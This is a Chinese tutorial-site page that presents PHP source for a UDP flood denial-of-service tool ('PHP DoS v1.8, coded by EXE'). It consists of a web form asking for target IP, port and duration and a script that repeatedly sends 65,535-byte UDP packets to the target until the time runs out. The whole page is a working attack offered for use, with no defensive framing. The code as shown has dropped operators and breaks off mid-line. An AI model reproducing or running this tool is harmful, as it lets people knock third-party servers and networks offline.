加入收藏 | 设为首页 | 会员中心 | 我要投稿 | RSS
您当前的位置:首页 > 教程文章 > PHP开发

php编写的实现DDOS攻击的代码

时间:2011-11-30 05:04:55  来源:  作者:

 php编写的实现DDOS攻击的代码

01 <?php
02 $ip $_SERVER['REMOTE_ADDR'];
03 ?>
04  
05 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
06 <html>
07  
08 <head>
09     <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
10     <meta name="author" content="">
11  
12     <title>PHP DoS, Coded by EXE</title>
13 </head>
14 <!-- PHP DOS, coded by EXE -->
15 <style type="text/css">
16 <!--
17 body {
18     font-family: Arial, Helvetica, sans-serif;
19     font-size: 12px;
20     font-style: normal;
21     line-height: normal;
22     color: #FFFFFF;
23     background-color: #000000;
24 }
25  
26  
27  
28 -->
29 </style>
30 <!-- PHP DOS, coded by EXE -->
31 <body>
32 <center><br><br>
33 <img src="main.jpg"><br>
34 <b>Your IP:</b> <font color="red"><?php echo $ip; ?></font>&nbsp;(Don't DoS yourself nub)<br><br>
35 <form name="input" action="function.php" method="post">
36 IP:
37 <input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0"onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
38 &nbsp;&nbsp;&nbsp;&nbsp;Time:
39 <input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
40 &nbsp;&nbsp;&nbsp;&nbsp;Port:
41 <input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
42 <br><br>
43 <input type="submit" value="    Start the Attack--->    ">
44 <br><br>
45 <center>
46 After initiating the DoS attack, please wait while the browser loads.
47 </center>
48  
49 </form>
50 </center>
51 <!-- PHP DOS, coded by EXE -->
52 </body>
53 </html>

[代码] function.php

01 <?php
02  
03 //=================================================
04 //PHP DOS v1.8 (Possibly Stronger Flood Strength)
05 //Coded by EXE
06 //=================================================
07  
08 $packets = 0;
09 $ip $_POST['ip'];
10 $rand $_POST['port'];
11 set_time_limit(0);
12 ignore_user_abort(FALSE);
13  
14 $exec_time $_POST['time'];
15  
16 $time = time();
17 print "Flooded: $ip on port $rand <br><br>";
18 $max_time $time+$exec_time;
19  
20  
21  
22 for($i=0;$i<65535;$i++){
23         $out .= "X";
24 }
25 while(1){
26 $packets++;
27         if(time() > $max_time){
28                 break;
29         }
30          
31         $fp fsockopen("udp://$ip"$rand$errno$errstr, 5);
32         if($fp){
33                 fwrite($fp$out);
34                 fclose($fp);
35         }
36 }
37 echo "Packet complete at ".time('h:i:s')." with $packets (" round